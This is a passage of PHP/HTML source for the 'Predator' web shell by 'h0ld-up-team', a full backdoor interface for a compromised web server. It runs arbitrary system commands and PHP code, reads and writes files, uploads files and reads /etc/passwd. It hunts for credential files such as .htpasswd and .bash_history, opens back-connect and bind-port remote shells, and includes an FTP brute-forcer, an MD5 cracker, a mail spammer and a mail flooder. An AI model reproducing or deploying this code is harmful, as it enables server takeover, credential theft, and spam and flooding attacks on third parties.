echo htmlspecialchars(fread(fopen(stripslashes($_POST['value']),"rw"),filesize(stripslashes($_POST['value']))));
}else{
echo htmlspecialchars(safe_read(stripslashes($_POST['value'])));
};
$_SESSION['edit']=1;
$_SESSION['filename'] = $_POST['value'];
}else{
return 'File doesn\'t exists!';
}
}
elseif($_POST['type']==5)
{
fputs(fopen($_SESSION['filename'],"w"),stripslashes($_POST['value']));
}
elseif($_POST['type']==6)
{
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
}
elseif($_POST['type']==7)
{
echo alias($_POST['value']);
}
elseif($_POST['type']==8)
{
echo spammer(stripslashes($_POST['from']),stripslashes($_POST['subject']),stripslashes($_POST['msg']),stripslashes($_POST['check']),stripslashes($_POST['elist']),stripslashes($_POST['logf']));
}
elseif($_POST['type']==9)
{
echo ftp_brute(stripslashes($_POST['host']),stripslashes($_POST['users']),stripslashes($_POST['passwd']),stripslashes($_POST['log']));
}
elseif($_POST['type']==10)
{
echo flooder(stripslashes($_POST['log']),stripslashes($_POST['to']),stripslashes($_POST['from']),stripslashes($_POST['subject']),stripslashes($_POST['msg']),stripslashes($_POST['amount']),stripslashes($_POST['check']));
}
elseif($_POST['type']==12)
{
echo backconnect(stripslashes($_POST['ip']),stripslashes($_POST['port']),stripslashes($_POST['method']));
}
elseif($_POST['type']==13)
{
echo backconnect(stripslashes($_POST['port']),stripslashes($_POST['pass']),stripslashes($_POST['method']));
}
elseif($_POST['type']==14)
{
echo md5_brute(stripslashes($_POST['hash']),stripslashes($_POST['log']),stripslashes($_POST['dict']));
}
else
{$u = ex('ls -la');
if($u == ''){return ex('dir');}else{return $u;};
}
return null;
};
function edit()
{
if ($_SESSION['edit'] == 1){
$_SESSION['edit']=0;
return "<br><center><input type=submit style=\"border:1px solid #666666;background:#333333;font-weight:bold;\" value=\"Save\"></center>";};
}
function getsystem()
{
return php_uname('s')." ".php_uname('r')." ".php_uname('v');
};
function getserver()
{
return getenv("SERVER_SOFTWARE");
};
function getuser()
{
$out = get_current_user();
if($out!="SYSTEM")
{
if(($out=ex('id'))==''){$out = "uid=".getmyuid()."(".get_current_user().") gid=".getmygid();};
}
return $out;
};
function pwd()
{
if($_POST['type']==3)
{
$_SESSION['pwd'] = stripslashes($_POST['value']);
}
chdir($_SESSION['pwd']);
$cwd = getcwd();
if($u=strrpos($cwd,'/'))
{
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\'))
{
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
function safe_ex($in)
{
if($in){
$d=dir('.');
while (false!==($file=$d->read()))
{
if ($file=="." || $file=="..") continue;
@clearstatcache();
list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
if(!$unix){
echo date("d.m.Y H:i",$mtime)." ";
if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
}
else{
$owner = @posix_getpwuid($uid);
$grgid = @posix_getgrgid($gid);
echo $inode." ";
echo perms(@fileperms($file));
printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
echo date("d.m.Y H:i ",$mtime);
}
echo "$file\n";
}
$d->close();
}
function safe_read($in)
{
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
file_get_contents($in);
}
}
?>
<html>
<head>
<title>.::Predator::.</title>
<META http-equiv="Content-Type" content="text/html; charset=CP866">
<style type=text/css>
.ta {background: #333333; border:1px solid #666666; color: #FFFFFF;}
.bt {border: 1px solid #666666;background: #333333;font-weight:bold;}
.td1 {border:2px solid #000000;}
.td2 {border:1px solid #000000;}
.ram {border:1px solid #666666;background:#222222;}
body { scrollbar-base-color: #333333}
</style>
<script>
function kill()
{
var y;
y = confirm('Are you really want to kill shell?');
if(y == true)
{
document.location = '?kill=yes';
}
}
</script>
</head>
<body bgcolor='#000000'>
<center><table width=90% cellpadding=0 cellspacing=0 style="border: 1px solid #666666">
<tr><td width=100% height=70 bgcolor='#333333' style="border-bottom: 2px solid #666666" valign=top>
<table valign=top>
<tr><td valign=top>
<table valign=center class='ram'>
<tr><td width=5% align=right>
<font size=2 color=#888888>System:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php echo getsystem();?></b></font>
</td></tr>
<tr><td width=5% align=right>
<font size=2 color=#888888>Server:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php echo getserver();?></b></font>
</td></tr>
<tr><td width=5% align=right>
<font size=2 color=#888888>User:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php echo getuser();?></b></font>
</td></tr>
<tr><td width=5% align=right>
<font size=2 color=#888888>pwd:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php if(strlen($u=pwd())>45){echo "...".substr($u,strlen($u)-40,40);}else{echo $u;};?></b></font>
</td></tr>
</table>
</td>
<td width=13% valign=center align=center>
<table width=100% height=100% cellpadding=0 cellspacing=0><tr><td width=100% height=100%>
<center>
<a href="http://h0ld-up.info"><table cellpadding=2 cellspacing=2 style="border:1px solid #666666;background:#444444">
<tr><td><font size=2 color=#999999>
<center><b>.::h0ld-up-team::.<br>web-shell</b></center>
</font></td></tr></table></a></center>
</td></tr><tr><td height=5></td></tr><tr><td>
<center>
<input type=submit style="border:1px solid #666666;background: darkred;font-weight:bold;" value=' Kill Shell ' onclick='kill()'>
</center>
</td></tr></table>
</td>
<td class='ram' width=45% valign=center align=center>
<table cellpadding=0 cellspacing=0>
<tr><td>
<table valign=top cellpadding=0 cellspacing=0>
<tr><td align=right>
<font size=2 color='#888888'>PHP-version:</font>
</td></tr>
<tr><td align=right>
<font size=2 color='#888888'>MySQL:</font>
</td></tr>
<tr><td align=right>
<font size=2 color='#888888'>MSSQL:</font>
</td></tr>
<tr><td align=right>
<font size=2 color='#888888'>PostgreSQL:</font>
</td></tr>
<tr><td align=right>
<font size=2 color='#888888'>Oracle:</font>
</td></tr>
</table>
</td><td>
<table valign=top cellpadding=0 cellspacing=0>
<tr><td>
<b><font size=2 color=red><?php echo phpversion();?></font></b>
</td></tr>
<tr><td>
<b><?php echo testmysql();?></b>
</td></tr>
<tr><td>
<b><?php echo testmssql();?></b>
</td></tr>
<tr><td>
<b><?php echo postgresql();?></b>
</td></tr>
<tr><td>
<b><?php echo oracle();?></b>
</td></tr>
</table>
</td><td width=4%></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top align=right>
<font color=#888888 size=2>Safe_mode:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>cURL:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>wget:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>fetch:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>lynx:</font>
</td></tr>
</table></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top>
<b><?php echo safe_mode();?></b>
</td></tr>
<tr><td valign=top>
<b><?php echo testcurl();?></b>
</td></tr>
<tr><td valign=top>
<b><?php echo testwget();?></b>
</td></tr>
<tr><td valign=top>
<b><?php echo testfetch();?></b>
</td></tr>
<tr><td valign=top>
<b><?php echo testlynx();?></b>
</td></tr>
</table></td>
<td width=4%></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top align=right>
<font color=#888888 size=2>Perl:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Server time:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Server date:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Total space:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>Free space:</font>
</td></tr>
</table></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top>
<b><font size=2 color=green><?php echo testperl();?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php echo date('H:i');?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php echo date('d-m-Y');?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php echo view_size(disk_total_space(getcwd()));?></font></b>
</td></tr>
<tr><td valign=top>
<b><font size=2 color=#999999><?php echo view_size(diskfreespace(getcwd()));?></font></b>
</td></tr>
</table></td></tr>
</table>
</td></tr>
</table>
</td></tr>
<tr><td width=100% height=100% bgcolor='#333333' valign=top>
<table width=100%>
<tr><td valign=top align=center>
<table width=100% height=200 class='td1'>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<input type=hidden name="type" value=5>
<textarea cols=80 rows=13 name="value" class='ta'>
<?php echo htmlspecialchars(shell());?>
</textarea><?php echo edit();?></form>
</td>
<td valign=top align=left width=10%>
<table width=100% height=100% class='td2'>
<form action method=POST><tr><td valign=top align=left height=40% style="border-bottom: 1px solid #000000;">
<b>.::System shell::.</b><br>
<input type=hidden name="type" value=2>
<center><input type=text name="value" size=35 class='ta'></center>
</ br><center><input type=submit value="Enter" style="border-top: 1px solid #333333;border-bottom: 1px solid #666666;border-right: 1px solid #666666;border-left: 1px solid #666666;background: #333333;font-weight:bold;"></center>
</td></tr></form>
<tr><td valign=top align=left>
<form action method=POST>
<table>
<tr><td>
<b>.::PHP-code::.</b>
</td><td align=right>
<input type=submit value="Run code" class='bt'>
<input type=hidden name="type" value=1>
</td></tr>
<tr><td colspan=2>
<textarea rows=5 cols=26 name="value" class='ta'><?php echo "readfile('/etc/passwd');";?></textarea>
</td></tr>
</table></form>
</td></tr>
</table>
</td></tr>
</table>
<table>
<tr><td height=0></td></tr>
</table>
<table width=100% height=80 class='td1' valign=top>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::PWD::.</b>
</td><td align=right>
<input type=submit class='bt' value="cd">
<input type=hidden name="type" value=3>
</td></tr>
<tr><td colspan=2>
<input type=text name="value" class='ta' size=71 value=<?php echo pwd();?>>
</td></tr>
</table></form></td><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::File Edit::.</b>
</td><td align=right>
<input type=submit class='bt' value="Edit">
<input type=hidden name="type" value=4>
</td></tr>
<tr><td colspan=2>
<input type=text name="value" class='ta' size=72 value=<?php echo pwd();?>>
</td></tr>
</table></form>
</td></tr>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::Download::.</b>
</td><td align=right>
<input type=submit class='bt' value="Download">
<input type=hidden name="type" value=11>
</td></tr>
<tr><td colspan=2>
<input type=text name="value" class='ta' size=71 value=<?php echo pwd();?>>
</td></tr>
</table></form></td><td valign=top align=left width=50%>
<form enctype="multipart/form-data" action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::Upload::.</b>
</td><td align=right colspan=3>
<input type=submit class='bt' value="Upload">
<input type=hidden name="type" value=6>
</td></tr>
<tr><td colspan=2>
<font size=2 color=#888888>New name:</b>
<input type=text size=15 name="newname" class=ta>
</td><td width=4></td><td colspan=2>
<input type=file name="userfile" size=28>
</td></tr>
</table></form>
<tr><td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td>
<b>.::Alias::.</b>
</td><td align=right>
<input type=submit class='bt' value="RUN">
<input type=hidden name="type" value=7>
</td></tr>
<tr><td colspan=2>
<select name='value' class='ta' width=200>
<option>find apahce config file</option>
<option>find access_log files</option>
<option>find error_log files</option>
<option>find suid files</option>
<option>find suid files in current dir</option>
<option>find sgid files</option>
<option>find sgid files in current dir</option>
<option>find config.inc.php files</option>
<option>find config.inc.php files in current dir</option>
<option>find config* files</option>
<option>find config* files in current dir</option>
<option>find all writable files</option>
<option>find all writable files in current dir</option>
<option>find all writable directories</option>
<option>find all writable directories in current dir</option>
<option>find all writable directories and files</option>
<option>find all writable directories and files in current dir</option>
<option>find all service.pwd files</option>
<option>find service.pwd files in current dir</option>
<option>find all .htpasswd files</option>
<option>find .htpasswd files in current dir</option>
<option>find all .bash_history files</option>
<option>find .bash_history files in current dir</option>
<option>find all .mysql_history files</option>
<option>find .mysql_history files in current dir</option>
<option>find all .fetchmailrc files</option>
<option>find .fetchmailrc files in current dir</option>
<option>list file attributes on a Linux second extended file system</option>
<option>show opened ports</option>
<option>---------------------------------------------------------------------------------------------------------</option>
</select>
</td></tr>
</table></form></td>
<script>
function base64Encode(str)
{
var charBase64 = new Array(
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P',
'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f',
'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',
'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/'
);
var out = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
var len = str.length;
do
{
chr1 = str.charCodeAt(i++);
chr2 = str.charCodeAt(i++);
chr3 = str.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 0x03) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 0x0F) << 2) | (chr3 >> 6);
enc4 = chr3 & 0x3F;
out += charBase64[enc1] + charBase64[enc2];
if (isNaN(chr2))
{
out += '==';
}
else if (isNaN(chr3))
{
out += charBase64[enc3] + '=';
}
else
{
out += charBase64[enc3] + charBase64[enc4];
}
}
while (i < len);
return out;
}
function base64Decode(str)
{
var indexBase64 = new Array(
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,62, -1,-1,-1,63,
52,53,54,55, 56,57,58,59, 60,61,-1,-1, -1,-1,-1,-1,
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10, 11,12,13,14,
15,16,17,18, 19,20,21,22, 23,24,25,-1, -1,-1,-1,-1,
-1,26,27,28, 29,30,31,32, 33,34,35,36, 37,38,39,40,
41,42,43,44, 45,46,47,48, 49,50,51,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1
);
var out = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
str = str.replace(/^[^a-zA-Z0-9\+\/\=]+|[^a-zA-Z0-9\+\/\=]+$/g,"")
var len = str.length;
do
{
enc1 = indexBase64[str.charCodeAt(i++)];
enc2 = indexBase64[str.charCodeAt(i++)];
enc3 = indexBase64[str.charCodeAt(i++)];
enc4 = indexBase64[str.charCodeAt(i++)];
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
out += String.fromCharCode(chr1);
if (enc3 != -1)
{
out += String.fromCharCode(chr2);
}
if (enc4 != -1)
{
out += String.fromCharCode(chr3);
}
}
while (i < len);
if (i != len)
{
new Error(BASE64_BROKEN);
return "";
}
return out;
}
</script>
<td valign=top align=left width=50%>
<form action method=POST>
<table width=100% height=100% valign=top class='td2'>
<tr><td width=1%>
<b>.::Base64_encode::.</b>
</td><td align=right width=6%>
<input type=button value="encode" class='bt' onclick='t.value=base64Encode(t.value)'>
</td>
<form action method=POST><td width=1%>
<b>.::Base64_decode::.</b>
</td><td align=right width=6%>
<input type=button value="decode" class='bt' onclick='n.value=base64Decode(n.value)'>
</td></tr>
<tr><td colspan=2>
<input type=text name='t' class='ta' size=34>
</td><td colspan=2>
<input type=text name='n' class='ta' size=34>
</td></tr>
</table></form>
</td></tr>
</td></tr>
</table>
</td></tr><tr></tr><tr><td>
<table cellpadding=0 cellspacing=0><tr><td>
<table class='td1' width=226>
<tr><td width=100% class='td2'>
<form action method=POST>
<table cellpadding=0 cellspacing=0 width=90% border=0><tr><td colspan=3>
<b>.::Back Connect::.</b></td></tr>
<tr><td width=100% height=10 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2><b>IP:</b></font></td>
<td width=5%></td>
<td width=100% align=right>
<input type=text class='ta' name='ip' size=15 value=<?php echo $_SERVER['REMOTE_ADDR'];?>></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2>port:</font></td>
<td width=5%></td>
<td width=100% align=right>
<input type=text class='ta' name='port' size=10 value='5000'></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2>Method:</font></td>
<td width=5%></td>
<td width=100% align=right>
<select class='ta' name='method'>
<option>Perl</option>
<option>C#</option>
<option>---------------------</option>
</select></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=100% align=right colspan=3>
<input type=hidden name='type' value='12'>
<input type=submit value='Connect' class='bt'></form>
<tr><td width=100% height=5 colspan=3></td></tr>
</table>
</td></tr>
</table>
</td><td width=5></td><td>
<table class='td1' width=226>
<tr><td width=100% class='td2'>
<form action method=POST>
<table cellpadding=0 cellspacing=0 width=90% border=0><tr><td colspan=3>
<b>.::Bind port::.</b></td></tr>
<tr><td width=100% height=10 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2><b>Port:</b></font></td>
<td width=5%></td>
<td width=100% align=right>
<input type=text class='ta' name='port' size=15 value='6000'></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2>pass:</font></td>
<td width=5%></td>
<td width=100% align=right>
<input type=text class='ta' name='pass' size=10 value='hshell'></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=25% align=right><font color=#888888 size=2>Method:</font></td>
<td width=5%></td>
<td width=100% align=right>
<select class='ta' name='method'>
<option>Perl</option>
<option>C#</option>
<option>---------------------</option>
</select></td></tr>
<tr><td width=100% height=5 colspan=3></td></tr>
<tr><td width=100% align=right colspan=3>
<input type=hidden name='type' value='12'>
<input type=submit value='Bind' class='bt'></form>
<tr><td width=100% height=5 colspan=3></td></tr>
</table>
</td></tr>
</table>
</td><td width=5></td><td width=50% height=141>
<table class='td1' width=100% height=100% valign=top><tr><td width=100% height=100% class='td2' valign=top>
<table cellpadding=0 cellspacing=0 width=95%><tr><td colspan=4>
<b>.::md5 bruter::.</b>
</td></tr><tr><td height=10></td></tr>
<tr><td width=20></td><td>
<font size=2 color="#888888" align=right><b>hash:</b></font></td><td width=5></td><td align=right>
<input type=text name='hash' class='ta' size=50>
</td></tr>
<tr><td height=5></td>
<tr><td width=20></td><td>
<font size=2 color="#888888" align=right>log_file:</font></td><td width=5></td><td align=right>
<input type=text name='log' class='ta' size=30 value='md5_log.txt'>
</td></tr>
<tr><td height=5></td>
<tr><td width=20></td><td>
<font size=2 color="#888888" align=right>dictionary_file:</font></td><td width=5></td><td align=right>
<input type=text name='dict' class='ta' size=30 value='md5_dict.txt'>
</td></tr>
<tr><td height=5></td>
<tr><td width=20></td><td>
</td><td width=5></td><td align=right>
<input type=submit class='bt' value='Start Brute'>
</td></tr>
</table>
</td></tr></table>
</td></tr></table>
<tr></tr><tr><td>
<table class='td1' width=100% height=310 valign=top align=left>
<form action method=POST>
<td valign=top align=left class='td2' width=33%>
<table cellpadding=0 cellspacing=0 width=100%>
<tr><td valign=top colspan=3 height=30>
<b>.::Spammer::.</b>
<tr><td width=25% align=right>
<font color=#888888 size=2><b>emails_file:</b></font>
</td><td width=65% align=right>
<input type=text name='elist' class='ta' size=17 value="emails.txt">
</td></tr><tr><td height=5></td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2><b>log_file:</b></font>
</td><td width=65% align=right>
<input type=text name='log' class='ta' size=17 value="mail_log.txt">
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>From:</font>
</td><td width=65% align=right>
<input type=text name='from' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Subject:</font>
</td><td width=65% align=right>
<input type=text name='subject' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Message:</font>
</td><td width=65% align=right>
<textarea name='msg' class='ta' cols=20 rows=4></textarea>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Check<sup>*</sup>:</font>
</td><td width=65% align=right>
<input type=text name='check' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
</td><td width=65% align=right>
<input type=submit class='bt' value="Start">
<input type=hidden name='type' value=10>
</td></tr>
</table></form>
<form action method=POST>
<td valign=top align=left class='td2' width=33%>
<table cellpadding=0 cellspacing=0 width=100%>
<tr><td colspan=3 height=30 valign=top><b>.::FTP-Brute::.</b></td></tr>
<tr><td width=31% align=right>
<font color=#888888 size=2><b>Host:</b></font>
</td><td align=right>
<input type=text name='host' class='ta' size=28>
</td><td width=5%></td></tr><tr><td height=35 width=100% colspan=2></td></tr>
<tr><td align=right>
<font color=#888888 size=2>ftp_users file:</font>
</td><td align=right>
<input type=text name='users' class='ta' size=17 value="ftp_users.txt">
</td><td></td></tr>
<tr><td height=5 width=100% colspan=2></td></tr>
<tr><td align=right>
<font color=#888888 size=2>ftp_passwd file:</font>
</td><td align=right>
<input type=text name='passwd' class='ta' size=17 value="ftp_passwds.txt">
</td><td></td></tr>
<tr><td height=5 width=100% colspan=2></td></tr>
<tr><td align=right>
<font color=#888888 size=2>ftp_log file:</font>
</td><td align=right>
<input type=text name='log' class='ta' size=17 value="ftp_log.txt">
</td><td></td></tr>
<tr><td colspan=2 height=20></td></tr>
<tr><td colspan=2 align=right>
<input type=submit class='bt' value="Start Brute">
<input type=hidden name="type" value=9>
</td></tr>
</td></table></form>
<form action method=POST>
<td valign=top align=left class='td2' width=33%>
<table cellpadding=0 cellspacing=0 width=100%>
<tr><td valign=top colspan=3 height=30>
<b>.::Flooder::.</b>
<tr><td width=25% align=right>
<font color=#888888 size=2><b>log_file:</b></font>
</td><td width=65% align=right>
<input type=text name='log' class='ta' size=17 value="mflood_log.txt">
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Send to:</font>
</td><td width=65% align=right>
<input type=text name='to' class='ta' size=27>
</td></tr><tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>From:</font>
</td><td width=65% align=right>
<input type=text name='from' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Subject:</font>
</td><td width=65% align=right>
<input type=text name='subject' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Message:</font>
</td><td width=65% align=right>
<textarea name='msg' class='ta' cols=20 rows=4></textarea>
</td></tr>
<td height=25><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Amount:</font>
</td><td width=65% align=right>
<input type=text name='amount' class='ta' size=17>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
<font color=#888888 size=2>Check<sup>*</sup>:</font>
</td><td width=65% align=right>
<input type=text name='check' class='ta' size=27>
</td></tr>
<td height=5><td></tr>
<tr><td width=25% align=right>
</td><td width=65% align=right>
<input type=submit class='bt' value="Flood">
<input type=hidden name='type' value=10>
</td></tr>
</table></form>
</td></tr>
</table>
</td></tr>
</table>
</td></tr>
</table></center>
<center><font size=1 color=#444444>.:[Public v1.0]:.</font></center>
</body>
</html>
<!-- Coded by LoFFi & Ls01r //-->